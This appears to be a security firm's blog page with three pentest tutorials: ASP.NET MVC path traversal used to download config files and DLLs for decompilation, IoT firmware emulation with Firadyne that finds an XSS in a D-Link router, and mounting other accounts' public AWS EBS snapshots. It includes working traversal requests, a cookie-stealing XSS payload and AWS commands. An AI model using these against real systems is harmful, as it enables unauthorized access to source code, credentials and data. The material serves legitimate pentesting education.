Tuesday, October 9, 2018

From Path Traversal to Source Code in Asp.NET MVC Applications


Introduction

Model-View-Controller web applications may be difficult to pentest, since they strongly depend -for almost any aspect- on the technology they are developed and deployed with. From the attacker perspective, interacting with a complex multi-layer web application means dealing with very technology-dependent configuration files and implementations; on the contrary, classic web applications (such as WebForms) present a more traditional and simple structure, where looking interesting data and handlers may be easier. 

In this post we will describe a series of steps, based on real world experience, to exploit a Path Traversal vulnerability and reach a full disclosure of source code, by downloading and decompiling DLLs of a Model-View-Controller application within .Net MVC architecture and Razor as the View Engine.

Prerequisite

A Path Traversal vulnerability is present on the target application, and the standard web.config file can be downloaded.

Note: most recent IIS versions and, in general, hardened installations, do not allow web handlers to retrieve files outside their sandbox or scope (i.e. the root folder of the web application, for example c:\inetpub\wwwroot\application_name\)

Main structure

As any .Net application, MVC applications have a web.config file, where "assemblyIdentity" XML tags identifies every binary file the application uses.

Request:
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded
[...]

Response:
HTTP/1.1 200 OK
[...]
<?xml version="1.0" encoding="utf-8"?>
<configuration>
  <configSections>
    <section name="entityFramework" type="System.Data.Entity.Internal.ConfigFile.EntityFrameworkSection, EntityFramework, Version=6.0.0.0, Culture=neutral" requirePermission="false" />

  </configSections>
  <appSettings>
    <add key="webpages:Version" value="3.0.0.0" />
    <add key="webpages:Enabled" value="false" />
    <add key="ClientValidationEnabled" value="true" />
    <add key="UnobtrusiveJavaScriptEnabled" value="true" />
  </appSettings>
<system.web>
  <authentication mode="None" />
  <compilation debug="true" targetFramework="4.6.1" />
  <httpRuntime targetFramework="4.6.1" />
</system.web>
<system.webServer>
  <modules>
    <remove name="FormsAuthentication" />
  </modules>
</system.webServer>
<runtime>
  <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
    <dependentAssembly>
      <assemblyIdentity name="Microsoft.Owin.Security" />

      <bindingRedirect oldVersion="1.0.0.0-3.0.1.0" newVersion="3.0.1.0" />
    </dependentAssembly>
    <dependentAssembly>
      <assemblyIdentity name="Microsoft.Owin.Security.OAuth" />

      <bindingRedirect oldVersion="1.0.0.0-3.0.1.0" newVersion="3.0.1.0" />
    </dependentAssembly>
    <dependentAssembly>
      <assemblyIdentity name="Microsoft.Owin.Security.Cookies" />

      <bindingRedirect oldVersion="1.0.0.0-3.0.1.0" newVersion="3.0.1.0" />
    </dependentAssembly>
    <dependentAssembly>
      <assemblyIdentity name="Microsoft.Owin" />

      <bindingRedirect oldVersion="1.0.0.0-3.0.1.0" newVersion="3.0.1.0" />
    </dependentAssembly>
    <dependentAssembly>
      <assemblyIdentity name="Newtonsoft.Json" culture="neutral" />

      <bindingRedirect oldVersion="0.0.0.0-6.0.0.0" newVersion="6.0.0.0" />
    </dependentAssembly>
    <dependentAssembly>
      <assemblyIdentity name="System.Web.Optimization" />

      <bindingRedirect oldVersion="1.0.0.0-1.1.0.0" newVersion="1.1.0.0" />
    </dependentAssembly>
    <dependentAssembly>
      <assemblyIdentity name="WebGrease" />

      <bindingRedirect oldVersion="0.0.0.0-1.5.2.14234" newVersion="1.5.2.14234" />
    </dependentAssembly>
    <dependentAssembly>
      <assemblyIdentity name="System.Web.Helpers" />

      <bindingRedirect oldVersion="1.0.0.0-3.0.0.0" newVersion="3.0.0.0" />
    </dependentAssembly>
    <dependentAssembly>
      <assemblyIdentity name="System.Web.Mvc" />

      <bindingRedirect oldVersion="1.0.0.0-5.2.3.0" newVersion="5.2.3.0" />
    </dependentAssembly>
    <dependentAssembly>
      <assemblyIdentity name="System.Web.WebPages" />

      <bindingRedirect oldVersion="1.0.0.0-3.0.0.0" newVersion="3.0.0.0" />
    </dependentAssembly>
  </assemblyBinding>
</runtime>
<entityFramework>
  <defaultConnectionFactory type="System.Data.Entity.Infrastructure.LocalDbConnectionFactory, EntityFramework">
    <parameters>
      <parameter value="mssqllocaldb" />
    </parameters>
  </defaultConnectionFactory>
  <providers>
      <provider invariantName="System.Data.SqlClient" type="System.Data.Entity.SqlServer.SqlProviderServices, EntityFramework.SqlServer" />
  </providers>
</entityFramework>
  <system.codedom>
    <compilers>
      <compiler language="c#;cs;csharp" extension=".cs" type="Microsoft.CodeDom.Providers.DotNetCompilerPlatform.CSharpCodeProvider, Microsoft.CodeDom.Providers.DotNetCompilerPlatform, Version=1.0.0.0, Culture=neutral” warningLevel="4" compilerOptions="/langversion:6 /nowarn:1659;1699;1701" />
      <compiler language="vb;vbs;visualbasic;vbscript" extension=".vb" type="Microsoft.CodeDom.Providers.DotNetCompilerPlatform.VBCodeProvider, Microsoft.CodeDom.Providers.DotNetCompilerPlatform, Version=1.0.0.0, Culture=neutral" warningLevel="4" compilerOptions="/langversion:14 /nowarn:41008 /define:_MYTYPE=\&quot;Web\&quot; /optionInfer+" />
    </compilers>
  </system.codedom>
</configuration>


Other files that could be found in the root directory of a .Net application:

/global.asax

<%@ Application Codebehind="Global.asax.cs" Inherits="WebApplication1.MvcApplication" Language="C#" %>

/connectionstrings.config

Note: this file contains passwords!

<connectionStrings>
  <add name="DefaultConnection" connectionString="Data Source=(LocalDb)\MSSQLLocalDB;AttachDbFilename [...]" providerName="System.Data.SqlClient" />
</connectionStrings>


In addition, .Net MVC applications are structured to define other web.config files, having the aim to include any declaration for specific namespaces for each set of viewpages, relieving developers to declare “@using” namespaces in every file.
As shown in the picture, representing a VisualStudio MVC/Razor project for a simple application, the main Views folder includes a web.config file:
  • /Views/Web.config
Note: the /Views folder is part of the Razor View Engine configuration.

If the application uses Areas, consider that each Area with graphical interface capabilities could have a dedicated ./Views folder containing a Web.config file for further specific namespaces.
  • <area-name-1>/Views/web.config
  • <area-name-2>/Views/web.config

Any /Views and <area-name>/Views directory may contain a web.config file, that can be downloaded via the former Path Traversal.

Web.config files may refer to other classes via the "type=" attribute, as well as new namespaces.

Request:
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded
[...]

Response:
HTTP/1.1 200 OK
[...]
<?xml version="1.0"?>
<configuration>

  <configSections>
    <sectionGroup name="system.web.webPages.razor" type="System.Web.WebPages.Razor.Configuration.RazorWebSectionGroup, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral">
    <section name="host" type="System.Web.WebPages.Razor.Configuration.HostSection, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral" requirePermission="false" />
    <section name="pages" type="System.Web.WebPages.Razor.Configuration.RazorPagesSection, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral" requirePermission="false" />
    </sectionGroup>
  </configSections>
<system.web.webPages.razor><host factoryType="System.Web.Mvc.MvcWebRazorHostFactory, System.Web.Mvc, Version=5.2.3.0, Culture=neutral" /><pages pageBaseType="System.Web.Mvc.WebViewPage">

  <namespaces>
    <add namespace="System.Web.Mvc" />
    <add namespace="System.Web.Mvc.Ajax" />
    <add namespace="System.Web.Mvc.Html" />
    <add namespace="System.Web.Optimization"/>
    <add namespace="System.Web.Routing" />
    <add namespace="WebApplication1" />
  </namespaces>
</pages>
</system.web.webPages.razor>
<appSettings><add key="webpages:Enabled" value="false" /></appSettings>
<system.webServer><handlers><remove name="BlockViewHandler"/><add name="BlockViewHandler" path="*" verb="*" preCondition="integratedMode" type="System.Web.HttpNotFoundHandler" /></handlers></system.webServer>
<system.web><compilation><assemblies><add assembly="System.Web.Mvc, Version=5.2.3.0, Culture=neutral” /></assemblies></compilation></system.web></configuration>


Download the first DLL

From a very shallow analysis, the declaration of a custom namespace (since other namespaces are defaults) suggests that a DLL called "WebApplication1" is present in the /bin directory.

Request:
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded
[...]

Response:








Therefore, the DLL file can be decompiled with tools like .NET Reflector, in order to obtain the source code of the related part of the web application, and additional information to advance in the attack.

Decompiling the main DLL shows several details about the internal structure of the application, and its dependencies and modules.
In fact, Area names, which are the semi-independent sections a MVC application is divided in, are defined in the binary of the main namespace / Web Application:


Results

  • The namespace WebApplication1.Areas.Minded corresponds to the namesake area, i.e. a section of the application which is most likely to be accessed with a path similar to https://example-mvc-application.minded/area-name/.
  • Routeconfig.cs file has been extracted to understand the specific rules the application follows to translate URLs to Controllers (which can be considered as the web handlers of the application).

Extend the attack surface

From the definition of an Area, an attacker can infer that other web.config files are present in the application, in guessable/default paths as /area-name/Views/, containing specific configurations that may refer to other DLL files present in the /bin folder.

Request:
GET /download_page?id=..%2f..%2fMinded/Views/web.config HTTP/1.1
Host: example-mvc-application.minded
[...]

Response:
HTTP/1.1 200 OK
[...]
<?xml version="1.0"?>
<configuration>
<configSections>
  <sectionGroup name="system.web.webPages.razor" type="System.Web.WebPages.Razor.Configuration.RazorWebSectionGroup, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral">
    <section name="host" type="System.Web.WebPages.Razor.Configuration.HostSection, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral" requirePermission="false" />
    <section name="pages" type="System.Web.WebPages.Razor.Configuration.RazorPagesSection, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral” requirePermission="false" />
  </sectionGroup>
</configSections>
<system.web.webPages.razor><host factoryType="System.Web.Mvc.MvcWebRazorHostFactory, System.Web.Mvc, Version=5.2.3.0, Culture=neutral" />
<pages pageBaseType="System.Web.Mvc.WebViewPage">
<namespaces>
  <add namespace="System.Web.Mvc" />
  <add namespace="System.Web.Mvc.Ajax" />
  <add namespace="System.Web.Mvc.Html" />
  <add namespace="System.Web.Routing" />
  <add namespace="System.Web.Optimization" />
  <add namespace="WebApplication1" />
  <add namespace="WebApplication1.AdditionalFeatures" />
</namespaces>
</pages>
</system.web.webPages.razor>
<appSettings><add key="webpages:Enabled" value="false" /></appSettings>
<system.webServer><handlers><remove name="BlockViewHandler"/><add name="BlockViewHandler" path="*" verb="*" preCondition="integratedMode" type="System.Web.HttpNotFoundHandler" /></handlers>
</system.webServer>
</configuration>

Attacker's loot so far

C:\WebApplication1> dir /b /s web.config
C:\WebApplication1\Web.config
C:\WebApplication1\Views\Web.config
C:\WebApplication1\Areas\Minded\Views\web.config

All the web.config files have been downloaded, and they can be inspected for specific references, disclosing details on the /bin directory.

Filename extraction cheat-sheet

The most relevant XML tags, an attacker should look to identify DLLs of a MVC application, are the declarations of namespaces, the inclusion of assembly files, ant any reference to types.
  • "namespace"
  • "assemblyIdentity"
  • " type="

Extract additional namespaces

Every web.config file, both for Areas and for the main Views configuration, includes references to any namespace it depends on:

$ grep -Ri namespace | grep -v namespaces | cut -d'"' -f 1-2


Areas/Minded/Views/web.config: <add namespace="System.Web.Mvc
Areas/Minded/Views/web.config: <add namespace="System.Web.Mvc.AjaxAreas/Minded/Views/web.config: <add namespace="System.Web.Mvc.Html
Areas/Minded/Views/web.config: <add namespace="System.Web.Routing
Areas/Minded/Views/web.config: <add namespace="System.Web.Optimization
Areas/Minded/Views/web.config: <add namespace="WebApplication1
Areas/Minded/Views/web.config: <add namespace="WebApplication1.AdditionalFeatures
Views/Web.config: <add namespace="System.Web.Mvc
Views/Web.config: <add namespace="System.Web.Mvc.Ajax
Views/Web.config: <add namespace="System.Web.Mvc.Html
Views/Web.config: <add namespace="System.Web.Optimization
Views/Web.config: <add namespace="System.Web.Routing
Views/Web.config: <add namespace="WebApplication1


Extract additional assemblies that are referenced within the web application
Binary files (Assembly) the application needs to work properly are declared in the main web.config file:

$ grep -Ri assemblyidentity | cut -d'"' -f 1-2

Web.config: <assemblyIdentity name="Microsoft.Owin.Security
Web.config: <assemblyIdentity name="Microsoft.Owin.Security.OAuth
Web.config: <assemblyIdentity name="Microsoft.Owin.Security.Cookies
Web.config: <assemblyIdentity name="Microsoft.Owin
Web.config: <assemblyIdentity name="Newtonsoft.Json
Web.config: <assemblyIdentity name="System.Web.Optimization
Web.config: <assemblyIdentity name="WebGrease
Web.config: <assemblyIdentity name="System.Web.Helpers
Web.config: <assemblyIdentity name="System.Web.Mvc
Web.config: <assemblyIdentity name="System.Web.WebPages

Extract section group’s namespaces

Within the SectionGroup XML element of a web.config file, the rightmost value of the “type” attribute before the Version refers to additional namespaces the application may need:

$ grep -ri " type=" | grep -v compiler | cut -d'"' -f 1-4

Areas/Minded/Views/web.config: <sectionGroup name="system.web.webPages.razor" type="System.Web.WebPages.Razor.Configuration.RazorWebSectionGroup, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral
Areas/Minded/Views/web.config: <section name="host" type="System.Web.WebPages.Razor.Configuration.HostSection, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral
Areas/Minded/Views/web.config: <section name="pages" type="System.Web.WebPages.Razor.Configuration.RazorPagesSection, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral
Areas/Minded/Views/web.config: <add name="BlockViewHandler" path="*
Views/Web.config: <sectionGroup name="system.web.webPages.razor" type="System.Web.WebPages.Razor.Configuration.RazorWebSectionGroup, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral
Views/Web.config: <section name="host" type="System.Web.WebPages.Razor.Configuration.HostSection, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral
Views/Web.config: <section name="pages" type="System.Web.WebPages.Razor.Configuration.RazorPagesSection, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral
Views/Web.config: <add name="BlockViewHandler" path="*
Web.config: <section name="entityFramework" type="System.Data.Entity.Internal.ConfigFile.EntityFrameworkSection, EntityFramework, Version=6.0.0.0, Culture=neutral
Web.config: <defaultConnectionFactory type="System.Data.Entity.Infrastructure.LocalDbConnectionFactory, EntityFramework">
Web.config: <provider invariantName="System.Data.SqlClient" type="System.Data.Entity.SqlServer.SqlProviderServices, EntityFramework.SqlServer

Thus, several files can be downloaded:

  • EntityFramework.dll
  • EntityFramework.SqlServer.dll
  • Microsoft.Owin.dll
  • Microsoft.Owin.Security.dll
  • Microsoft.Owin.Security.Cookies.dll
  • Microsoft.Owin.Security.OAuth.dll
  • Newtonsoft.Json.dll
  • System.Web.Helpers.dll
  • System.Web.Mvc.dll
  • System.Web.Mvc.Ajax.dll
  • System.Web.Mvc.Html.dll
  • System.Web.Optimization.dll
  • System.Web.Routing.dll
  • System.Web.WebPages.dll
  • System.Web.WebPages.Razor.dll
  • WebApplication1.dll
  • WebApplication1.AdditionalFeatures.dll
  • WebGrease.dll

Example of request:
GET /download_page?id=..%2f..%2fbin/<DLL NAME>.dll HTTP/1.1
Host: example-mvc-application.minded
[...]

For the sake of completeness, it must be said that these steps allow an attacker to initiate a grey-box analysis against the web application. In fact, the /bin folder of the target application itself includes several additional DLLs which are referenced by inner libraries.

To understand the gap between the actual /bin folder content and the result of the described technique, the picture shows the real content of the folder, from the internal perspective.

Besides, downloaded DLL files can be treated as any other DLL, which means their dependencies can be listed and they can be decompiled, to investigate more deeply.


References

  • https://msdn.microsoft.com/en-us/library/w7w4sb0w.aspx
  • https://docs.microsoft.com/it-it/aspnet/core/mvc/controllers/areas?view=aspnetcore-2.1
  • https://www.infragistics.com/community/blogs/b/dhananjay_kumar/posts/areas-in-asp-net-mvc
  • https://www.red-gate.com/products/dotnet-development/reflector/index
  • https://visualstudiomagazine.com/articles/2014/10/28/asp-net-mvc-5-1-new.aspx
  • https://www.davidhayden.me/blog/asp-net-mvc-5-attribute-routing
  • https://www.c-sharpcorner.com/article/learn-about-razor-view-engine/
  • https://www.ecanarys.com/Blogs/ArticleID/271/THE-RAZOR-VIEW-ENGINE-IN-MVC

Tuesday, October 2, 2018

Pentesting IoT devices (Part 2: Dynamic Analysis)

This is the second part of our Pentesting IoT devices guide. In the previous post it was provided an overview on firmware static analysis showing how it can help to find many security issues. In this article it will be discussed the so called dynamic approach for device pentesting. It will be described how it is possible, thanks to firmware emulation, to improve pentesters' skills and test devices without physically have them.

Dynamic Analysis

The dynamic test of a device, from a security perspective, includes different activities and for each of them there is a specific testing methodology. For example, after a preliminary recon phase against a device, it is possible to face different services like a web server, an FTP service and even an unknown open port related to a customized communication protocol. In this case it is important to split test scenarios and apply a different methodology for each class of services. A great approach could be to test the web interface looking for the typical web vulnerabilities, then focusing on the FTP service and, in the end, studying the customized protocol by sniffing the device traffic or by fuzzing it.
The OWASP IoT attack surface areas provides a useful checklist that helps pentesters in focusing and prioritizing their analysis.

Since it is not possible to describe all the dynamic analysis that a tester could perform against a device, this article focuses the attention on showing an effective way to emulate an IoT device.

Firmware Emulation

The possibility to emulate a device starting from its firmware allows researchers to perform any kind of dynamic tests against it without having the physical device and without worrying about a possible brick. Actually, this kind of analysis are very effective in consultancy activities because sometimes it is necessary to work under particular circumstances, for example, when it is not allowed to test the real device because it's a production device or it is impossible to get the physical device because it is installed in an unreachable place but, in any case, a device firmware copy and a suitable emulator are provided. The main limitation of this technique is that not all devices firmwares and architectures can be easily emulated.

Firmadyne

Firmadyne is a tool which allows you to emulate, thanks to QEMU, a Linux-based firmware and perform basic dynamic analysis against it.

As sentenced from its own github page:“FIRMADYNE is an automated and scalable system for performing emulation and dynamic analysis of Linux-based embedded firmware.”

The aim of this software is to provide an automated way of testing a large number of firmwares with some test cases like nmap service discovery, snmpwalk or metasploit.
Currently it supports the emulation of three different CPUs architectures combinations:
  • little-endian ARM
  • little-endian MIPS 
  • big-endian MIPS

Below a step-by-step usage example of Firmadyne with the NetGear WN604 Router Firmware as test case is shown.

The first step consists in the firmware extraction that Firmadyne accomplishes with the extractor.py script. This operation creates a zipped version of the firmware filesystem inside the images folder.

$ ./sources/extractor/extractor.py -b netgear -sql 127.0.0.1 -np -nk "WN604 Firmware Version 2.0.1.zip" images
>> Database Image ID: 20
>> MD5: f961fcc6d198940c2aaebb18b836f795
>> Tag: 20
>> Temp: /tmp/tmpZDScTD
>> Status: Kernel: True, Rootfs: False, Do_Kernel: False,                 Do_Rootfs: True
>>>> Zip archive data, at least v2.0 to extract, compressed size: 710, uncompressed size: 1351, name: ReleaseNotes_WN604_fw_2.0.1.html
>> Recursing into archive ...
[. . .]
/tmp/tmpSVfpkn/_WN604_V2.0.1_firmware.tar.extracted/rootfs.squashfs
>> MD5: fb9c11e075a37a8a5c989743897e8735
>> Tag: 20
>> Temp: /tmp/tmpWfQ7yl
>> Status: Kernel: True, Rootfs: False, Do_Kernel: False,                 Do_Rootfs: True
>> Recursing into archive ...
>>>> Squashfs filesystem, big endian, lzma signature, version 3.1, size: 2333384 bytes, 650 inodes, blocksize: 131072 bytes, created: 2010-03-26 11:55:15
>>>> Found Linux filesystem in /tmp/tmpWfQ7yl/_rootfs.squashfs.extracted/squashfs-root!

The second step is identifying the device architecture and store the result into the database (note that the number 20 is the image ID given by Firmadyne to this firmware).

$ ./scripts/getArch.sh ./images/20.tar.gz 
./bin/busybox: mipseb

The third step is loading the content of the filesystem into the database and then create a QEMU disk image with the makeImage.sh script.

$ ./scripts/tar2db.py -i 20 -f ./images/20.tar.gz 
$ sudo ./scripts/makeImage.sh 20
Querying database for architecture... Password for user firmadyne: 
mipseb
----Running----
----Copying Filesystem Tarball----
----Creating QEMU Image----
Formatting '/home/lcomi/work/clients/minded/firmadyne//scratch//20//image.raw', fmt=raw size=1073741824
----Creating Partition Table----
Welcome to fdisk (util-linux 2.31.1).
Changes will remain in memory only, until you decide to write them.
[. . .]

Once the image is ready it is time to infer firmware network configuration.

$ sudo ./scripts/inferNetwork.sh 20
Querying database for architecture... Password for user firmadyne: 
mipseb
Running firmware 20: terminating after 120 secs...
qemu-system-mips: -net nic,vlan=0: 'vlan' is deprecated. Please use 'netdev' instead.
Bad SWSTYLE=0x04
qemu-system-mips: terminating on signal 2 from pid 19371 (timeout)
Inferring network...
Interfaces: [('brtrunk', '192.168.0.100')]
Done!

Note: if infernetwork.sh cannot identify any interfaces for the aforementioned firmware, it may be necessary to fix Firmadyne script as described by this issue.

In the end it is possible to launch the firmware emulation with the run.sh script.

$ sudo ./scratch/20/run.sh
Creating TAP device tap20_0...
Set 'tap20_0' persistent and owned by uid 0
Bringing up TAP device...
Adding route to 192.168.0.100...
Starting firmware emulation... use Ctrl-a + x to exit
qemu-system-mips: -net nic,vlan=0: 'vlan' is deprecated. Please use 'netdev' instead.
[    0.000000] Linux version 2.6.32.70 (vagrant@vagrant-ubuntu-trusty-64) (gcc version 5.3.0 (GCC) ) #1 Thu Feb 18 01:39:21 UTC 2016
[    0.000000] 
[    0.000000] LINUX started...
[    0.000000] bootconsole [early0] enabled
[    0.000000] CPU revision is: 00019300 (MIPS 24Kc)
[    0.000000] FPU revision is: 00739300
[    0.000000] Determined physical RAM map:
[    0.000000]  memory: 00001000 @ 00000000 (reserved)
[    0.000000]  memory: 000ef000 @ 00001000 (ROM data)
[    0.000000]  memory: 0061e000 @ 000f0000 (reserved)
[    0.000000]  memory: 0f8f1000 @ 0070e000 (usable)
[    0.000000] debug: ignoring loglevel setting.
[. . .]

As can be seen from the nmap output and from the following picture, all the device services are available over the network at IP address 192.168.0.100 and they can be analyzed by using the scripts included in Firmadyne analysis folder.

$ nmap -p- -sV -T4 192.168.0.100
Starting Nmap 7.70 ( https://nmap.org ) at 2018-09-19 17:12 CEST
Nmap scan report for 192.168.0.100
Host is up (0.00070s latency).
Not shown: 65532 closed ports
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     Dropbear sshd 0.51 (protocol 2.0)
80/tcp  open  http    lighttpd 1.4.18
443/tcp open  ssl     OpenSSL (SSLv3)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Device web interface is listening on port 80. 

Being a pentester who wants to manually conduct his own dynamic analysis and without being interested in the "statistic" capabilities of Firmadyne, it would be useful to employ this tool only to extract and emulate a device firmware. Considering this approach, it was created a simple but effective script called firmadyne-launcher to easily automate the emulation of a firmware.

After having installed and configured Firmadyne, it is possible to clone firmadyne-launcher repository on your local machine and move firmadyne_laucher.sh inside Firmadyne application folder. Now, providing a firmware file as argument, the script can be started.

lcomi@aquarius:~/firmadyne$ ./firmadyne_launcher.sh firmware.zip
Extracting the firmware...
Getting the architecture...
Creating the image...
Creating TAP device tap7_0...
Set 'tap7_0' persistent and owned by uid 0
Bringing up TAP device...
Adding route to 192.168.0.100...
Starting firmware emulation... use Ctrl-a + x to exit
qemu-system-mips: -net nic,vlan=0: 'vlan' is deprecated. Please use 'netdev' instead.
[    0.000000] Linux version 2.6.32.70 (vagrant@vagrant-ubuntu-trusty-64) (gcc version 5.3.0 (GCC) ) #1 Thu Feb 18 01:39:21 UTC 2016
[    0.000000] 
[    0.000000] LINUX started...
[    0.000000] bootconsole [early0] enabled
[    0.000000] CPU revision is: 00019300 (MIPS 24Kc)
[    0.000000] FPU revision is: 00739300
[    0.000000] Determined physical RAM map:
[    0.000000]  memory: 00001000 @ 00000000 (reserved)
[    0.000000]  memory: 000ef000 @ 00001000 (ROM data)
[ . . . ]
Welcome to SDK.
Have a lot of fun...
netgear123456 login: 

Looking for web vulnerabilities

To prove that it is possible to dynamically test an emulated device like a physical one, some interesting web vulnerabilities could be hunted. Below it is given an example about the findings of a new reflected XSS inside the web interface of the Dlink 850L router. The vulnerable firmware can be found here.

Router login page, the default password is empty.

After the login page, that can be simply bypassed using the default credentials, it is possible to see different menu and configuration options which a user can modify. After mapping some of them with the help of a proxy like Burp, it was noticed that a particular handler had a vulnerable parameter that led us to trigger an XSS through the following tampered GET request:
http://192.168.0.1/[HANDLER]?[PARAM]=</script><script>alert(document.cookie)</script>
Execution of the arbitrary JS code inside the victim's browser. 

The details of this vulnerability, addressed as CVE-2018-17779, are actually redacted to allow Dlink to patch any vulnerable firmwares.

It is suggested to download the aforementioned D-Link firmware and try to find out many other vulnerabilities. Another great exercise is to manually extract the device filesystem (following the first part of this guide) and localize any dynamic analysis findings (like the xss-vulnerable web page) inside the source code and then find a solution to fix them.

Conclusions

In this article it was shown how it is possible to emulate a firmware device and what are its main advantages and limitations. Thanks to this technique, a new vulnerability inside Dlink DIR-850L web interface was found, even without having the physical device.

This post closes our IoT pentesting serie, where both static and dynamic approach in firmwares security review have been discussed. It is important to underline that IoT manufacturers have to consider the security of their products as a top priority and researchers should have the possibility to freely test devices to find out new vulnerabilities and responsibly disclose them.

References

  • https://github.com/firmadyne/firmadyne/blob/master/paper/paper.pdf
  • https://pierrekim.github.io/blog/2017-09-08-dlink-850l-mydlink-cloud-0days-vulnerabilities.html

Tuesday, September 18, 2018

A practical guide to testing the security of Amazon Web Services (Part 2: AWS EC2)

This is Part 2 of 3 on our practical guide to testing the security of Amazon Web Services. We are tackling the main services provided by Amazon for its cloud-based platform to support web applications and we started by discussing AWS S3 buckets and their security. You can get a little overview of AWS and catch up on important aspects of testing AWS S3 by reading our previous post.

In this second part, we describe another important AWS service used on a daily basis by many users: Elastic Compute Cloud or, more commonly, EC2.

AWS EC2

Elastic Compute Cloud (EC2) is another widely used service offered by Amazon. It allows to rent virtual computers that can be used to run arbitrary applications. AWS EC2 provides a scalable solution to deploy a new computer, which in AWS terminology is called an "instance", and mange its status via a web-based user interface. The user can manage every aspect of an EC2 instance from the creation and execution to the definition of access policies. It's undeniable that AWS EC2 constitutes a powerful tool that, if not properly configured and protected, will inevitably result in a security breach. AWS EC2 instances provide many different features. In this post we discuss two features that are particular relevant when from a security perspective: Elastic Block Store and Instance Metadata Service.

AWS EC2 instances can benefit from other AWS services to which they are granted access to. A typical example, that we first introduced in Part 1 and we further explore here, is the synergy between AWS EC2 instances and AWS S3 buckets. When an AWS EC2 instance is created it requires, as all computers do, a persistent storage unit where you can save your data. Amazon thus provides Elastic Block Store (EBS) which is a block-level storage that provides a persistent storage solution that can be attached to an AWS EC2 instance. An EBS block thus constitutes an important part of an AWS EC2 instance as it allows to store data processed by the instance itself. Given its importance, it might be convenient to be able to take snapshots of an EBS block and store it safely so that, in the case of a failure, the AWS EC2 instance can be restored to a safe status. To accomplish this, Amazon gives the possibility of taking EBS snapshots and store them in its storage service AWS S3.




Let's now discuss another interesting feature that AWS EC2 instances have access to called Instance Metadata Service (IMS). IMS allows any AWS EC2 instance to retrieve data about the instance itself that can be used to configure or managing the running instance. The data available from the IMS ranges from the hostname of the instance to the initialization scrip that is executed upon running the instance. All this information can be retrieved only by the AWS EC2 instance by querying a specific API end-point located at  http://169.254.169.254.
As will become clear in the remaining of this post, this end-point provides valuable information an attacker might use to compromise not only the AWS EC2 instance but other services as well. The documentation for the IMS, in fact, states the following:
Although you can only access instance metadata and user data from within the instance itself, the data is not protected by cryptographic methods. Anyone who can access the instance can view its metadata. Therefore, you should take suitable precautions to protect sensitive data (such as long-lived encryption keys). You should not store sensitive data, such as passwords, as user data.
IMS becomes thus a crucial aspects when analyzing the security of AWS EC2 instances.

Publicly accessible EC2 snapshots

As just mentioned, EBS snapshots are, by default, stored in a private AWS S3 bucket that is not directly accessible via the S3 dashboard. However, EBS snapshots are manageable via the AWS EC2 interface and their permissions can be change to be public. Needless to say, you should never do that.
From a security perspective, if you are doing a penetration testing activity and find yourself dealing with possibly open accessible EBS snapshots, you could try to have access to the EBS block by mounting it in an EC2 instance under your control. Think of an EBS block as a virtual disk that you can mount like you would normally do. To mount an EBS block you thus need two things:

  1. an AWS EC2 instance under your control where you can mount the EBS block
  2. the ID that identifies the snapshot

For (1) I recommend you check out the AWS documentation on how to create and launch an EC2 instance. While for (2) you can use the aws command to search for publicity accessible EBS snapshots follows:

aws --profile [PROFILE] ec2 describe-snapshots --filters [FILTERS] --region [REGION]

This command will respond with a JSON listing all the publicly available snapshots that satisfies the values specified by the --filters flag (for a complete description of the kind of filters you can use, check the documentation). The JSON will contain some information about the snapshot along with the corresponding SnapshotId value that we need. For example, let's assume that we want to list all the publicly accessible snapshots containing the word backup in it which are located in the east-us-2 region, this is what we would  do:

aws --profile default ec2 describe-snapshots --filters Name=description,Values="*backup*" --region east-us-2

The result of executing such command would be a JSON listing all the publicly accessible snapshots satisfying our search criteria.



{
    "Snapshots": [
        {
            "Description": "Phoenix_competitor_analysis_backup_set",
            "Encrypted": false,
            "VolumeId": "vol-ffffffff",
            "State": "completed",
            "VolumeSize": 100,
            "StartTime": "2017-08-30T05:24:48.000Z",
            "Progress": "100%",
            "OwnerId": "234190327268",
            "SnapshotId": "snap-0dc716aaf28921496"
        },
        {
            "Description": "backup",
            "Encrypted": false,
            "VolumeId": "vol-0b21c8a6c158367fc",
            "State": "completed",
            "VolumeSize": 8,
            "StartTime": "2018-05-21T13:01:49.000Z",
            "Progress": "100%",
            "OwnerId": "388304843501",
            "SnapshotId": "snap-041c06c0c3658323c"
        },
        {
            "Description": "backup",
            "Encrypted": false,
            "VolumeId": "vol-0ee056a878d9dfdb1",
            "State": "completed",
            "VolumeSize": 30,
            "StartTime": "2018-01-07T13:52:56.000Z",
            "Progress": "100%",
            "OwnerId": "682345607706",
            "SnapshotId": "snap-0e793674b08737e95"
        },
        {
            "Description": "copy of backup sprerdda - BAckup-17-8-2018",
            "Encrypted": false,
            "VolumeId": "vol-ffffffff",
            "State": "completed",
            "VolumeSize": 30,
            "StartTime": "2018-08-22T15:03:48.179Z",
            "Progress": "100%",
            "OwnerId": "869858413856",
            "SnapshotId": "snap-02326682d84d3aedd"
        }
    ]
}

Once you have identified the snapshot of your interest, you have to create an EBS volume from that snapshot in order to be able to mount it. The following command will do just that and create an EBS volume in your account.

aws  ec2 create-volume --availability-zone us-west-2a --region us-west-2  --snapshot-id [SNAPSHOT_ID]

Finally, from your AWS console, create an EC2 instance and mount the newly created EBS volume in it.

Metadata leakage 

At the beginning of this we discussed of a peculiar feature of AWS EC2 instances called Instance Metadata Service (IMS). Recall that IMS allows any AWS EC2 instance to retrieve data about the instance itself that can be used to configure or managing the running instance and is accessible from within the instance itself by querying the end-point located at http://169.254.169.254.
As already mentioned, many juice information can be retrieved from querying that end-point. The following table summarizes some of the most interesting one however, many more are available.

